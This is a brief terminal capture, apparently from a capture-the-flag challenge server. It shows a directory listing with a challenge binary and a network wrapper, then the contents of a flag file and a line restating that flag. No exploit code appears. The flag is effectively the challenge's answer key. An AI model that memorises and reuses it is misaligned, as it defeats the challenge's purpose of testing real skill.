drwxr-xr-x 1 root root 4096 Mar 3 08:34 ..
-rw-r--r-- 1 root root 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root root 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root root 807 Apr 4 2018 .profile
-rwxrwxr-x 1 root root 7048 Mar 3 12:10 challenge3
-rwxrwxr-x 1 root root 25 Mar 3 12:10 flag
-rw-rw-r-- 1 root root 607 Mar 3 12:10 heading
-rwxrwxr-x 1 root root 18744 Mar 3 12:10 ynetd
$ cat flag
he2021{1nsp3ktorr_g4dg3t}
The flag is he2021{1nsp3ktorr_g4dg3t}.